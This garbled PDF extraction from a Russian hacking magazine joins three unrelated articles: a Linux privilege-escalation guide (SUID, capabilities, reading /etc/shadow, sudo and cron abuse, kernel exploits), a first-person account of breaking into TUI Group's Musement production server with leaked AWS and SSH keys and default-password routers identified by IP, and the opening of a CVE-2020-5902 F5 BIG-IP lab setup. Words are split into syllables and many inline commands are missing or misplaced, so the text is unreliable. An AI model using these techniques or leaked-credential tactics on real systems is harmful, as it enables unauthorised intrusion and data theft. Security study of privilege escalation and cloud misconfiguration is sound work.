Ну а основная при чина всег да одна и та же — люд ские ошиб ки. В иде аль ной
все лен ной, ско рее все го, повысить при виле гии не уда лось бы. Но челове чес‐ 
кий фак тор дела ет это воз можным, поэто му нас лажда емся.

С ЧЕГО НАЧАТЬ?
Преж де чем что‐то делать, нуж но понять, с чем мы будем иметь дело. Конеч‐ 
но,  кое‐что  мы  узна ем  о  сис теме,  изу чив  ее  на  эта пе  про ник новения,
но  теперь  нуж но  под робнее  выяс нить,  что  имен но  нам  может  помочь  под‐ 
нять ся до root.

Ка кие‐то  вещи мы можем  узнать  вруч ную.  Нап ример,  получить  све дения
о ядре:

 uname ‐a 2>/dev/null 

Или о про цес соре:

cat /proc/cpuinfo 2>/dev/null 

Или релиз ОС:

cat /etc/*‐release 2>/dev/nul 

Мож но,  конеч но,  и  даль ше  собирать  информа цию  с  помощью  тер минала,
но это дол го. Гораз до про ще и эффектив нее исполь зовать спе циаль ные тул‐ 
зы. Самые рас простра нен ные из них:

;• privilege‐escalation‐awesome‐scripts‐suite (linPEAS)
;• LinEnum
;• PXEnum

;• linuxprivchecker
;• SysEnum

.• linux‐smart‐enumeration

Все  они  работа ют  при мер но  по  одно му  прин ципу:  пос ледова тель но  запус‐ 
кают  коман ды  bash  или  корот кие  скрип ты,  а  вывод  отправ ляют  в  stdout
или лог‐файл в зависи мос ти от парамет ров.

Так при мер но выг лядит вывод подоб ной тул зы.

LinEnum

КУДА СМОТРЕТЬ?
Да вай  теперь  раз берем  нес коль ко  при меров  уяз вимос тей  и  пос мотрим,
как мож но их экс плу ати ровать.

Всякое забытое
Пер вое,  что  сто ит  про верить,  —  это  забытые  кри тичес кие  дан ные.  Ничего
не  сто ит  заг лянуть  в  домаш ние  пап ки  юзе ров  и  пос мотреть,  не  хра нит  ли
кто‐то  на  рабочем  сто ле файл  с  паролем  или  клю чами  от  чего‐нибудь  нуж‐ 
ного. Это слу чает ся ред ко, но все же слу чает ся. Иног да учет ные дан ные хар‐ 
дко дят  в  скрип тах  и  кон фигах.  Сто ит  так же  про верить  исто рию  шел ла,  там
тоже могут най тись длин ные коман ды, содер жащие учет ные дан ные. А иног да
быва ет, что поль зователь наб рал пароль, ког да кон соль его не зап рашива ла,
и он тоже сох ранит ся в исто рии.

SUID/GUID
Фла ги setuid и setgid поз воля ют поль зовате лю запус кать прог раммы от име ни
вла дель ца.  Нап ример,  ког да  надо  запус кать  прог рамму  от  рута,  а  поль‐ 
зователь рутом не явля ется. Чаще все го встре чает ся SUID. Уста нав лива ется
этот бит лег ко:

chmod +s /bin/script 

Под разуме вает ся,  что прог рамма с  таким фла гом не смо жет делать ничего,
кро ме того, для чего она пред назна чена. Но так как все мы люди и оши баем‐ 
ся,  то    порой  ошиб ки  поз воля ют  ском про мети ровать  сис тему.
Чаще  все го  к  воз можнос ти  повысить  при виле гии  при водит  воз можность
прог раммы про изво дить  запись  в фай ловую сис тему  или  каким‐то обра зом
выпол нять код.

это  хорошо

В пер вую оче редь нас инте ресу ют фай лы, вла делец которых — root. Най ти
их мож но руками, такой коман дой:

find /    s ‐user root ‐perm ‐u= ‐type f 2>/dev/null 

Как  вари ант — мож но поис кать  в  выводе  тулз,  которые я перечис лил  выше.
Так  или  ина че,  если  най дешь  фай лы  с  подоб ными  раз решени ями,  зна чит,
у тебя есть шанс под нять ся до мак сималь ных при виле гий.

Вот вывод таких фай лов из  .LinEnum.sh

Из  инте рес ных  фай лов  —  .  LinEnum  даже  услужли во  его  под све тил
отдель но.

find

Это поз волит доволь но лег ко получить при виле гии.

Linux capabilities
Так  как  пре дыду щий  спо соб  дает  избы точ ные  пра ва  фай лам,  в  1997  году
была при дума на идея допол нитель ных раз решений —  .  Если
корот ко, то идея сос тоит в том, что бы давать не пол ные при виле гии, а толь ко
часть, необ ходимую для выпол нения задачи.

linux capabilities

Как это исполь зует ся? Для начала най дем подоб ные фай лы в сис теме.

getcap ‐r / 2>/dev/null 

А вот резуль тат.

Клас сичес кий  при мер  иллюс тра ции  —  это  исполня емый  файл  tar  с  раз‐ 
решени ем  ,  которое  поз воля ет  ему  читать  любой
файл в сис теме. Это озна чает, нап ример, воз можность получить архив с фай‐ 
лом  ,  который  от  лица  обыч ного  поль зовате ля  недос тупен
на чте ние. Дос туп к это му фай лу даст нам хеши паролей, в том чис ле от root,
который мы можем поп робовать сбру тить.

cap_dac_read_search+ep

/etc/shadow

Еще  встре чает ся  пус тое  раз решение  .  Ког да  выс тавле но  такое  раз‐ 
решение (есть знак «рав но» в начале, и не перечис лен спи сок раз решений),
это зна чит, что фай лу пре дос тавле ны  . В при мере
такие раз решения есть у фай ла  .

=ep

все воз можные раз решения
openssl

Этот при мер поз волит нам про читать файл  ./etc/shadow
Сге нерим клю чи.

За пус тим веб‐сер вер.

И про чита ем файл.

Да лее  мы  можем  прос то  сге нерить  новый    и  переза писать  им  сис‐ 
темный. Соз дадим новый хеш, заменим им хеш (в при мере — вос кли цатель‐ 
ный знак) и под готовим файл для залив ки.

shadow

Ко пиру ем его в   и логиним ся./etc/shadow

Cron
Cron —  это  служ ба  Unix,  которая  исполь зует ся  для  пери оди чес кого  выпол‐ 
нения скрип тов. Дей ствия опи сыва ются в фай ле   и в спе циаль‐ 
ных катало гах (нап ример,  ).

/etc/crontab
/etc/cron.daily

Скрип ты  исполь зуют ся  для  самого  широко го  спек тра  задач —  от  соз дания
бэкапа по рас писанию до очис тки дирек тории  ./tmp

Ес ли у  таких скрип тов неак курат но выс тавле ны при виле гии,  то это может
стать  наход кой  для  ата кующе го.  Ког да  адми нис тра тор  ста вит  при виле гии
как попало, «прос то что бы работа ло», он впол не может написать  ,
что поз волит нам отре дак тировать вызыва емый по рас писанию скрипт. Пос‐ 
коль ку  cron  запус кает  фай лы  от  име ни  root,  нич то  не  меша ет  вызывать
рутовый шелл заод но со скрип том.

chmod 777

Sudo
Прог рамма sudo поз воля ет выпол нять коман ды от име ни супер поль зовате ля
(либо дру гих поль зовате лей сис темы). Ее кон фиг находит ся в  ,
и,  как  пра вило,  ошиб ки  в  этом  кон фиге  откры вают  воз можнос ти  эска лации
при виле гий.  Сце нари ев  исполь зования  —  мно жес тво,  мож но  выбирать
по ситу ации. Один из таких вари антов ниже.

/etc/sudoers

Про веря ем, какие есть раз решения у  .sudo

Здесь редак тор vi мож но открыть без пароля, и он запус тится от име ни root.
В  этом  слу чае  про ще  все го  выпол нить шелл  через  редак тор,  который  тоже
запус тится от рута.

Иног да адми ны дают раз решение на запуск обыч ных скрип тов sh, и те оста‐ 
ются  дос тупны ми  для  записи.  Их,  конеч но  же,  мож но  исполь зовать
для получе ния шел ла и любых дру гих дей ствий.

INFO

Еще  один  спо соб  абь юзить  sudo — 
 в про цесс с дей ству ющим токеном.

воз можность
внед рять ся

Эксплоиты для ядра
Как и в любой дру гой прог рамме, в ядре Linux тоже есть уяз вимос ти. Иног да
эти  уяз вимос ти  поз воля ют  под нять ся  до  рута.  Как  и  в  осталь ных  спо собах,
здесь  не  сущес тву ет  уни вер саль ного  рецеп та  и  успешная  экс плу ата ция
зависит от мно гих фак торов: вер сии ядра, наличия необ ходимых раз решений
или  фай лов  и  даже  наличия  нуж ного  железа  (нап ример,  уяз вимого
перед Meltdown про цес сора).

На скрин шоте ниже — поиск экс пло итов для ядра Linux в Kali.

При мно гооб разии  вари антов  экс плу ата ции  не  все  они  ока жут ся  рабочи ми.
Может  не быть  экс пло ита  под  кон крет ное  ядро,  либо  вер сия  ядра пра виль‐ 
ная,  но  оно  уже  про пат чено.  Некото рые  экс пло иты  работа ют  нес табиль но.
И так далее.

На вер няка  мно гие  пом нят  уяз вимость  в  ядре,  извес тную  как  .
Баг  поз воля ет  спро воци ровать  сос тояние  гон ки,  а  это  при водит  к  тому,  что
поль зователь без при виле гий получа ет дос туп на запись к memory mappings
(хотя дос туп дол жен быть толь ко на чте ние) и может повысить свои при виле‐ 
гии.

Dirty  COW

Су щес тву ет нес коль ко экс пло итов для этой уяз вимос ти.

На  кон крет ной  сис теме  будут  работать  не  все  из  них,  так  что  всег да  есть
смысл переби рать раз ные вари анты.

Дру гие при меры уяз вимос тей для повыше ния при виле гий:
;• CVE 2017‐16995
;• CVE 2013‐1959
;• CVE 2012‐0056
.• CVE 2010‐3904

Ко неч но,  это  не  все  уяз вимос ти.  Их  нам ного  боль ше,  и  ты  всег да  можешь
поис кать  их  опи сан ным  выше  спо собом  или  покопать ся  на 
и дру гих ресур сах.

exploit‐db.com

ЗАКЛЮЧЕНИЕ
Спо собов  стать  рутом  в  Linux  —  мно жес тво,  и  я  здесь  про шел ся  толь ко
по самым оче вид ным и рас простра нен ным. Тем, что встре чают ся и в реаль‐ 
ной жиз ни, и на CTF, и на экза менах.

Во обще,  зачас тую  это  твор ческая  задача:  может  не  сра ботать  ни  один
из  спо собов,  но  поможет  какая‐то,  порой  неоче вид ная  ком бинация  из  раз‐ 
ных.  Уни вер саль ного  рецеп та  здесь  нет,  и  сис тему  всег да  нуж но  ана лизи‐ 
ровать всес торон не.

На сай те   есть отличная под борка спо собов исполь зовать раз‐ 
ные популяр ные ути литы для повыше ния при виле гий. Но пом ни: этот спи сок
на самом деле зна читель но боль ше, прос то нам еще пока не все извес тно!

GTFOBins
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ВЗЛОМ

Но вос тные  сооб щения  о  регуляр ных  утеч‐ 
ках дан ных — дело при выч ное. Одна ко каж‐ 
дому  такому  инци ден ту  пред шес тву ет  кро‐ 
пот ливая  работа:  сбор  и  ана лиз  информа‐ 
ции,  поиск  бре шей  в  защите  и  инс тру мен‐ 
тов  для  ата ки.  Сегод ня  я  рас ска жу  о  том,
как  взло мал  двад цатимил лиар дную  кор‐ 
порацию  TUI Group  при  помощи  обще дос‐ 
тупных бес плат ных инс тру мен тов и при род‐ 
ной сме кал ки.

Reconnaissance,  или  сбор  информа ции,  —  это  пер вый  этап  тес тирова ния
на  про ник новение,  ког да  цель  уже  опре деле на.  Понем ногу  этот  этап  прев‐ 
ратил ся  в  отдель ную  науку,  объ еди нив  в  себе  целый  ком плекс  так тик
и методик,  а  так же  обза вел ся мно жес твом  инс тру мен тов  и  сер висов,  упро‐ 
щающих рутину. Какие воз можнос ти это нам откры вает?
1. Охо та без кон крет ной цели или «нанима теля».
2. По иск новых мас штаб ных угроз.
3. Быс трая оцен ка рас простра нен ности кон крет ной угро зы.
4. Нет стал кинг и прос то иссле дова ние ради раз вле чения.

Даль ше я перечис лю самые популяр ные сер висы, с помощью которых мож но
про вес ти пол ноцен ные иссле дова ния, и про демонс три рую основные при емы
работы  с  ними. Одна ко  глав ной  темой  статьи  будет  сер вис 

, с помощью которо го я и взло мал кор порацию TUI Group.
grayhatwarfare.‐

com

РЕСУРСЫ
Сер висы  для  сбо ра  информа ции  мож но  условно  раз делить  на  нес коль ко
катего рий — по  типу  пре дос тавля емых  дан ных  или  по  сфе рам  при мене ния.
Перечис лим наибо лее извес тные из них.

 — реестр при вязан ных  к  домен ным име нам циф‐ 
ровых сер тифика тов, в том чис ле и самых све жих, вклю чая суб домены.

• Certificate Transparency

,  ,  ,  ,  ,  ,
  —  базы  дан ных  домен ных  имен,  сер тифика тов  и  всей  осталь ной

информа ции, свя зан ной с домена ми.

• Chaos dnsdb.info intelx.io securitytrails.com Сertspotter threatminer.org
crt.sh

 — отсле жива ет сос тояние гло баль ной сис темы домен ных имен.• OpenIntel
 — это пуб личный репози торий резуль‐ 

татов  ска ниро вания  интернет‐про токо лов,  сер висов  и  служб  по  все му
интерне ту. Хос тится коман дой  . Помимо сво их собс твен ных датасе‐ 
тов,  коман да  акку мули рует  и  вык ладыва ет  дан ные  и  дру гих  похожих  про‐ 
ектов. Этот ресурс — отличная воз можность порабо тать с сырыми и пол‐ 
ными дан ными.

• Internet‐Wide Scan Data Repository

ZMap

 — то же самое, что и выше, толь ко от соз дателей 
.

• Rapid7 OpenData Metas‐
ploit Framework

,  ,  ,  ,  ,  ,   — поис‐ 
ковики, которые иссле дуют поч ти всю тополо гию интерне та, пре дос тавляя
воз можность  поис ка  по  бан нерам  сер висов  и  про токо лов,  их  хешам
или содер жанию HTML‐стра ниц. С их помощью мож но най ти под клю чен‐ 
ные  к  сети  устрой ства  или  работа ющие  при ложе ния  раз личных  типов.
В  недав нем  обновле нии  в  Shodan  появи лась  даже  воз можность  поис ка
по иден тифика цион ным номерам уяз вимос тей.

• Shodan Zoomeye Censys fofa.so riddler.io spyse.com thingful.net

  —  репози торий  мно гофун кци ональ ного  веб‐кра уле ра,
собира юще го мас су инте рес ной информа ции.

• CommonCrawl

,  ,  ,   —  прос то  кла‐ 
дезь  зна ний  о  текущих  угро зах!  Если  ты  не  зна ешь,  что  иссле довать,
или хочешь быть в кур се самых акту аль ных уяз вимос тей, тебе сюда. Трен‐ 
ды  и  топ‐лис ты  GreyNoise  рас ска жут  о  тех никах,  которые,  воз можно,
еще даже не были обна руже ны спе циалис тами ИБ, но активно экс плу ати‐ 
руют ся в реаль ном вре мени.

• GreyNoise BinaryEdge cybergreen.net projecthoneypot.org

 — находит откры тые для пуб лично го дос тупа сер веры Ama‐
zon  AWS.  Исполь зует  при  поис ке  сра зу  нес коль ко  опен сор сных  инс тру‐ 
мен тов  для  ска ниро вания,  агре гируя  все  резуль таты.  На  дан ный  момент
GrayHatWarfare нас каниро вал 279 тысяч дос тупных S3‐бакетов и 4,5 мил‐ 
лиона фай лов!

• GrayHatWarfare

По доб ных ресур сов дос таточ но мно го, и некото рые я даже спе циаль но про‐ 
пус тил —  нап ример,   —  из‐за  их  черес чур  узкой  спе циали зации.
Одна ко ска ниро вать весь интернет самос тоятель но уж слиш ком дол го и тру‐ 
доем ко.  На  гит хабе  мож но  най ти  боль шой  арсе нал  инс тру мен тов,  адап‐ 
тирован ных  для  работы  поч ти  с  каж дым  из  упо мяну тых  сер висов.  Но  я  пос‐ 
тара юсь  обра тить  твое  вни мание  на  упу щен ные  кей сы  и  про будить  порыв
к новаторс тву!

psbdmp.ws

В  кон це  статьи  я  крат ко  рас ска жу  о моих  экспе римен тах  с,  казалось бы,
баналь ным Shodan. Ты, навер ное, даже слы шал об их пос ледс тви ях, об этом
писали и в «Хакере». Я свя то верю, что не нарушил никаких законов, так что
сме ло  рас крою  свое  авторс тво  и  некото рые  оставши еся  за  кад ром  под‐ 
робнос ти.

Кто чем занят
Ес ли  вспом нить  боль шинс тво  гром ких  уте чек  за  пос ледние  год‐пол тора,  то
мож но выделить сов ремен ные тен денции и цели ата кующих. Я их перечис лю:

;• сер веры MongoDB
;• Rsync‐демоны

;• Elasticsearch
;• DigitalOcean
;• Azure Blobs

.• Google Storage

Оче вид но, под угро зой в основном пло хо нас тро енные сер веры и при ложе‐ 
ния,  в  которых  авто риза ция  зачас тую  отсутс тву ет  вов се.  Для  ска ниро вания
исполь зуют ся  все  те же  инс тру мен ты  с  откры тым  исходным  кодом,  которые
мож но  най ти  на  гит хабе,  так  что  я  не  ста ну  их  перечис лять. Некото рые ата‐ 
кующие исполь зуют для поис ка Shodan, дру гие ска ниру ют сеть самос тоятель‐ 
но.

Я не добавил AWS S3‐бакеты в спи сок нес лучай но. Если пос мотреть 
, то мож но заметить явное сни жение

зафик сирован ных пос ле 2018 года инци ден тов. Это му пос пособс тво вал ряд
при чин:  шумиха,  при нятые  Amazon  меры,  воору жен ные  ска нера ми  баг‐хан‐ 
теры и так далее.

хро‐ 
ноло гию уте чек информа ции из бакетов

Ко неч но, мож но купить хос тинг, обза вес тись новей шим соф том и при нять
учас тие  в  гон ке  ска неров,  но  мы  не  ищем  лег ких  путей!  Под кру тить  потоки
и поковы рять нас трой ки какого‐нибудь при ложе ния может каж дый, но самое
инте рес ное начина ется там, где при ходит ся исполь зовать сме кал ку.

ОБДЕЛЕННЫЙ GRAYHAT
Нес мотря  на  оби лие  пуб ликаций  на  темати чес ких  пло щад ках,  у  доволь но
популяр ного  и  дав но  при сутс тву юще го  на  рын ке  GrayHatWarfare  дол го
не  было  ни  одно го  при ложе ния  или  биб лиоте ки  для  пол ноцен ной  работы
с  пре дос тавля емым  им  API.  Все,  что  я  нашел  на  гит хабе,  —  это  кри во
написан ный веб‐пар сер на python‐mechanize.

Ока залось, это му есть при чины: исполь зование услуг это го сер виса сто ит
немалых денег,  а  усло вия бес плат ного акка унта не поз воля ют рас счи тывать
на дос той ный резуль тат. Хотя я могу оши бать ся. Язык зап росов API нас толь ко
прост и лакони чен, что писать код по боль шому сче ту не нуж но. Тем не менее
я  решил  соз дать  ,  а  вмес те  с  этим
реали зовать  мно гопо точ ность  и  обой ти  лимиты  выдачи  сер виса.  Раз  уж
писать, то как сле дует!

инс тру мент  для  работы  с  GrayHatWarfare

Обходим ограничения бесплатного тарифа
По иск  по  всем  про индекси рован ным  фай лам  огра ничен  2000  резуль татов.
Фай лы  же  в  обо соб ленном  бакете  мож но  лис тать  поч ти  без  огра ниче ний,
осо бен но  ког да  мы  ищем  кон крет ные  рас ширения  фай лов  и  исполь зуем
исклю чающие  клю чевые  сло ва.  Так  что  я  под менил  один  метод  дру гим
и реали зовал перебор ID всех дос тупных бакетов. Таким обра зом, поиск всех
име ющих ся  фай лов  с  рас ширени ем  .zip  зай мет  все го  20–30  минут.  Ров но
столь ко  вре мени  у  меня  ушло,  что бы  скор мить  API  91  тысячу  рек вестов
без еди ного фей ла!

Логика и инструкции поиска
Итак,  мы  можем  искать  фай лы  с  любыми  рас ширени ями.  Меж ду  тем  в  API
пре дус мотре на воз можность добав лять к зап росам клю чевые сло ва, но толь‐ 
ко  исклю чающие,  ина че  поиск  лома ется.  Эти  сло ва  про веря ются  в  каж дой
отдель ной  час ти  пол ного  URL‐адре са  иско мого  фай ла.  Такой  радика лизм
оправдан.  В  бакетах  куча  мусора  типа  меди афай лов,  фрон тенда  и  вся ких
опен сор сных  бэкенд‐модулей.  Одна ко  не  бой ся  экспе римен тировать:  все
отбро шен ные урлы все рав но запишут ся в отдель ный фай лик trash.txt. Что бы
добавить  свои  собс твен ные  исклю чающие  клю чеви ки,  сох рани  их  в  файл
exclude.txt.

Най ден ные  фай лы  мож но  филь тро вать  и  по  раз меру.  Он  ука зыва ется
во  вре мя  запус ка  прог раммы. Что бы  запус тить  при ложе ние,  выпол ни  в  тер‐ 
минале сле дующие коман ды:

~$ git clone https://github.com/d34db33f‐1007/grayhat2.git 
~$ cd grayhat2 && python3 main.py 

ДЕНЬГИ ЕСТЬ, УМА НЕ НАДО!
Филь тра ция  фай лов  по  раз меру  —  встро енная  фича  GrayHatWarfare  API,
но  исклю читель но  для  опла чен ных  акка унтов.  В  нашей  реали зации  прог‐ 
раммы  мы  можем  получать  раз меры  фай лов  натив ным  обра зом  толь ко
потому, что по фак ту мы не выпол няем поиск, а прос то лис таем содер жимое
бакетов одно за дру гим.

Вы ходит, любой поль зователь с опла чен ным акка унтом может прос то зап‐ 
росить у API «топ‐1000» самых тяжелых фай лов, которые неред ко и ока зыва‐ 
ются набором поль зователь ских дан ных, то есть прес ловутой «утеч кой». Зна‐ 
чит, искать там боль ше нечего? А вот и нет!

Убиваем мейнстрим
Я  попытал ся  искать  с  помощью  GrayHatWarfare  фай лы 
тяжелее 500 Мбайт. Сре ди  них  попада лись  инте рес ные  наход ки,  но  их  ока‐ 
залось недос таточ но, что бы ликовать и праз дно вать победу.

.csv

Вто рое, что мне приш ло в  голову, — это поиск при ват ных RSA/SSH‐клю‐ 
чей. Вот  тут мне  повез ло! Я  про верил  по оче реди два рас ширения фай лов: 

  К  моему  удив лению,  уже  через  час  пос ле  того,  как  я  накатал
на  колен ке  свой  питонов ский  скрипт,  я  обна ружил  сра зу  три  утеч ки!
Как извес тно, беда не при ходит одна. На сер верах с при ват ными клю чами я
так же нашел сле дующее:

 и  ..priv .key

  фит нес‐при ложе ния  с  мил лионом  уста новок
в Play Market;

• поль зователь ские  дан ные

 акка унта Amazon AWS от неко его  ;• сек ретный токен uland.com.br
и самое сто ящее — сек ретный токен Amazon AWS и при ват ный SSH‐ключ
веб‐при ложе ния  .  Это  италь янский  стар тап  изна чаль ной
сто имостью  в  60  мил лионов  дол ларов,  теперь  при над лежащий  кор‐ 
порации TUI Group.

•
Musement.com

По пер вым двум инци ден там мне не уда лось свя зать ся с вла дель цами ресур‐ 
сов,  но  я  уве домил Google  и  Amazon о  про изо шед шем,  хотя  чет кого  отве та
так же не пос ледова ло. В TUI Group мне отве тили на сле дующий день пос ле
обра щения и залата ли дыру уже спус тя неделю.

Даль ше  я  поэтап но  опи шу,  как  получил  пол ный  дос туп  с  пра вами  супер‐ 
поль зовате ля к про дак шен EC2‐инстан су Musement. Забав но, что такой оче‐ 
вид ный инци дент  до  сих  пор оста вал ся  незаме чен ным. Это  тре вож ный  зво‐ 
ночек: если тен денция ста ла мей нстри мом, луч ше все го ее избе гать.

ПЕРВЫЕ РЕЗУЛЬТАТЫ. ЧТО ДАЛЬШЕ?

Раз работ чики любез но оста вили нам клю чи

Соб рав access‐клю чики, которые раз работ чики так любез но оста вили в сво‐ 
ем питонов ском скрип те, я успешно авто ризо вал ся в акка унте Amazon. Поп‐ 
робовав выпол нить раз ные коман ды, я понял, что у меня име ется дос туп толь‐ 
ко на чте ние, при чем далеко не вез де. К тому же сер вер, к которо му я хотел
под клю чить ся по SSH, раз решал соеди нения толь ко с  IP‐адре сов из белого
спис ка.

Собираем всю информацию об инфраструктуре
Не дол го думая, я нашел на гит хабе популяр ный  , пос вящен ный
пен тесту  Amazon,  и  начал  с  самого  прос того.  Пер вым  делом  я  соб рал  все
пуб личные адре са EC2‐машин, а так же все  IP‐адре са из политик NACL (Net‐
work Access Control List) с помощью ути литы  . В сум ме наб‐ 
ралось где‐то трид цать адре сов.

awesome‐лист

aws_public_ips

Соб ранные  адре са  я  начал  ска ниро вать  на  наличие  откры тых  пор тов
в диапа зоне 1–64 000 с помощью ути литы  . Пока шло ска ниро вание,
я запус тил еще две клас сичес кие ути литы, которые поз воля ют получить более
обширную и под робную информа цию об име ющей ся в тво ем рас поряже нии
облачной инфраструк туре:

masscan

  —  ауди тор  безопас ности  AWS.  Незаме нимый  инс тру мент,
который заг лянет в каж дый уго лок обла ка и соз даст мак сималь но удоб ный
для изу чения отчет;

• ScoutSuite2

 —  то  же  самое,  но  заточен  имен но  на  поиск  и  экс плу ата цию  уяз‐ 
вимос тей в обла ке, в том чис ле на повыше ние при виле гий, пер систен цию,
да и пос тэкс плу ата цию в целом.

• pacu

Ре зуль таты ока зались неожи дан но при ятны ми. Даже нес мотря на то, что SGP
(Security Group Policies)  и  IAM‐пра ва для  утек шего  акка унта были нас тро ены
кор рек тно. Для начала   нашел спо соб повысить при виле гии, поль зовать‐ 
ся которым мне не поз воля ют эти чес кие прин ципы. Метод зак лючал ся в экс‐ 
плу ата ции  уяз вимос ти CloudTrail CSV  Injection. Имея воз можность соз давать
trail (гру бо говоря, события), я мог попытать ся соз дать trail с вре донос ной Ex‐
cel‐фор мулой в  качес тве наз вания. Эта попыт ка про вали лась бы, но в логах
оста лось бы наз вание. При импорте такого лога в фор мате  .csv в Excel воз‐ 
ника ет  опас ность  выпол нения  вре донос ного  кода  на  машине  адми нис тра‐ 
тора.

pacu

ScoutSuite уди вил меня еще боль ше. Ниже при веде ны час тичные при меры
того, что он смог нарыть в обла ке.

Учет ные дан ные супер поль зовате лей в Tomcat‐сер вере

Не кото рые лицен зион ные клю чики

Спо кой но бру тим Basic HTTP auth ;)

Кро ме того, на самом S3‐бакете лежали очень инте рес ные бэкенд‐фай лики.
В  общей  сум ме  я  смог  вытянуть  из  поль зователь ских  дан ных  EC2‐машин
где‐то 400 с лиш ним скрип тов и кон фигов.

ОБХОДИМ ЗАЩИТУ AWS SGP

Ре зуль таты ска ниро вания EC2‐машин

Ре зуль таты ска ниро вания внеш них IP‐адре сов EC2‐машин не силь но радова‐ 
ли, пока я не обна ружил роуте ры с дефол тны ми админ‐пароля ми и фун кци ей
VPN.

 

 

93.62.224.145   ::   Huawei AR Web Platform 
93.62.224.151   ::   Huawei AR Web Platform

Глав ное дос тоинс тво  этих  роуте ров  зак лючалось  в  том,  что они  находи лись
в белом спис ке NACL для вхо дяще го и исхо дяще го тра фика по всем пор там,
вклю чая SSH, а так же поз воляли мар шру тизи ровать тра фик сквозь себя.

Ро уте ры поз воляли мар шру тизи ровать тра фик

Те перь я мог спо кой но под клю чить ся к  глав ному про дак шен‐сер веру с  root‐
пра вами, исполь зуя най ден ный при ват ный SSH‐ключ.

Под клю чаем ся к глав ному про дак шен‐сер веру

WWW

Бо лее  под робные  све дения  о  раз личи ях  меж ду
SGP и NACL

ЭТИЧНОСТЬ КАК ОНА ЕСТЬ
Утеч ку  ком пания  пофик сила  быс тро,  но,  к  сожале нию,  ни  воз награж дения,
ни  даже  баналь ной  бла годар ности  я  от  них  не  получил.  Вмес то  это го  мне
сооб щили, что на меня не ста нут подавать в суд, так как при тес тирова нии я
при дер живал ся  инс трук ций,  которые  они  мне  отпра вили  на  поч ту  в  ответ
на мое пись мо.

Для меня этот опыт — неп рият ное напоми нание о  том,  что час то  IT‐ком‐ 
пании ори енти руют ся на гиган тов индус трии, но игно риру ют аспекты, свя зан‐ 
ные  с  безопас ностью  сво его  про дук та  и  конеч ных  поль зовате лей.  Поэто му
давай сде лаем мир безопас нее общи ми уси лиями!

НЕ БАКЕТАМИ ЕДИНЫМИ!
Уже кача ешь оче ред ной  ? Вот и пра виль но! Но не взду май оста нав‐ 
ливать ся на серых шля пах: поп робуй   с Shodan’ом
или поиг рать с его род ными  тегами в  трен дах. Из этой  затеи впол не может
получить ся что‐нибудь инте рес ное.

hawkeye
сов местить Google‐дор ки

«Хакер» в этом году  . Эти уяз‐ 
вимые  регис тра торы  изна чаль но  нашел  я,  заин тересо вал ся  и  начал  ревер‐ 
сить. Поэто му ответс твен но заяв ляю: в Qihoo 360 наг ло прив рали о количес‐ 
тве уяз вимых устрой ств. На самом деле их было не 5К, а более 300К. Вот ори‐ 
гиналь ный дорк:

пи сал об уяз вимых виде оре гис тра торах LILIN

http.html_hash:"1640961097" 

В ито ге мне даже уда лось про дать най ден ные баги. Про давать я их пытал ся
на  легаль ных  пло щад ках  вро де  ,  но  не  вез де  они  котиро вались.
Видимо, информа ция об уяз вимос ти утек ла в паб лик с одной из таких плат‐ 
форм. В   ты можешь най ти боль ше информа ции об этом инци‐ 
ден те.

Zerodium

мо ем гит хабе

Еще «Хакер» как‐то писал об  . Да, и тут
без меня не обош лось. ;) Потен циал откры тых дан ных без гра ничен! Осо бен‐ 
но —  если  про являть  сме кал ку  при  исполь зовании  обще дос тупных  инс тру‐ 
мен тов OSINT.

ум ных, но уяз вимых колон ках Sonos
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ВЗЛОМ

В июле 2020  года немало шума    уяз вимость,  най‐ 
ден ная  в  линей ке  про дук тов  F5,  в  час тнос ти  —  в  BIG‐IP.
Это  кон трол лер  дос тавки  при ложе ний,  который  исполь зуют
и  в  круп ней ших  ком пани ях  вро де  бан ков  и  опе рато ров
сотовой  свя зи.  Уяз вимос ти  прис воили  наивыс ший  уро вень
опас ности,  пос коль ку  она  поз воля ет  без  каких‐либо  при‐ 
виле гий получить пол ный кон троль над целью.

на дела ла

В  сос таве    есть  раз ные  модули,  которые  работа ют  под  управле нием
опе раци онной сис темы TMOS. Один из них — Local Traffic Manager  (LTM) —
обра баты вает  тра фик  при ложе ний,  обес печива ет  безопас ность  сетевой
инфраструк туры и  локаль ную балан сиров ку  наг рузки.  LTM мож но  гиб ко  нас‐ 
тра ивать, в том чис ле при помощи веб‐интерфей са TMUI (Traffic Management
User Interface). В нем и наш ли уяз вимость.

BIG‐IP

Точ нее, нашел   из Positive Technologies. Баг сущес тву ет
из‐за  некор рек тной  нор мализа ции  URI  при  обра бот ке  зап росов.  Зло умыш‐ 
ленник  может  обой ти  аутен тифика цию  в  Traffic  Management  User  Interface
и исполь зовать фун кции сис темы, которые пред назна чены толь ко для адми‐ 
нис тра тора.  В  резуль тате  это го  ата кующий  может  выпол нять  про изволь ные
коман ды  на  целевой  сис теме от  супер поль зовате ля,  а  это  озна чает  пол ную
ком про мета цию сер вера.

Ми хаил Ключ ников

INFO

Баг  получил  номер 
и  10  из  10  бал лов  кри тич ности  по  CVSS.  Уяз‐ 
вимость  при сутс тву ет  в  BIG‐IP  вер сий
с 15.0.0 по 15.1.0.3, с 14.1.0 по 14.1.2.5, 13.1.0–
13.1.3.3, 12.1.0–12.1.5.1 и 11.6.1–11.6.5.1.

CVE‐2020‐5902

ТЕСТОВЫЙ СТЕНД
Так  как  про дукт  ком мерчес кий,  прос того  докер‐кон тей нера  в  этот  раз
не  будет.  Самый  лег кий  спо соб  под нять  стенд  —  это  ска чать  трид цатид‐ 
невную проб ную  вер сию    (Virtual  Edition).  Для  это го  нужен  акка унт,
который  мож но  соз дать  .  Пос ле  под твержде ния  мож но  будет
перехо дить в раз дел заг рузок.

BIG‐IP VE
на  сай те  F5

Нам нуж на пос ледняя уяз вимая вер сия, это — 15.1.0.3. BIG‐IP рас простра‐ 
няет ся  в  нес коль ких  вари антах,  нас  инте ресу ет 

. Перед заг рузкой пред ложат выб рать удоб ное зер кало.
об раз  вир туаль ной  машины

в фор мате OVA

Стра ница заг рузки вир туаль ной машины BIG‐IP в фор мате OVA

Так же можешь  поп робовать  вос поль зовать ся    для  ска чива ния
обра за. Не могу ска зать, сколь ко она про живет, но пока отлично работа ет.

мо ей ссыл кой

Пос ле это го импорти руем ска чан ный образ в свою прог рамму вир туали‐ 
зации. Я буду исполь зовать VMware, но и VirtualBox отлично с этим спра вит ся.

Пос ле  успешно го  импорта  заг ружа ем  вир туал ку.  Через  некото рое  вре мя
видим приг лашение для авто риза ции.

Ав ториза ция в вир туаль ной машине BIG‐IP

По дефол ту пароль для супер поль зовате ля —   (тебе сра зу пред ложат
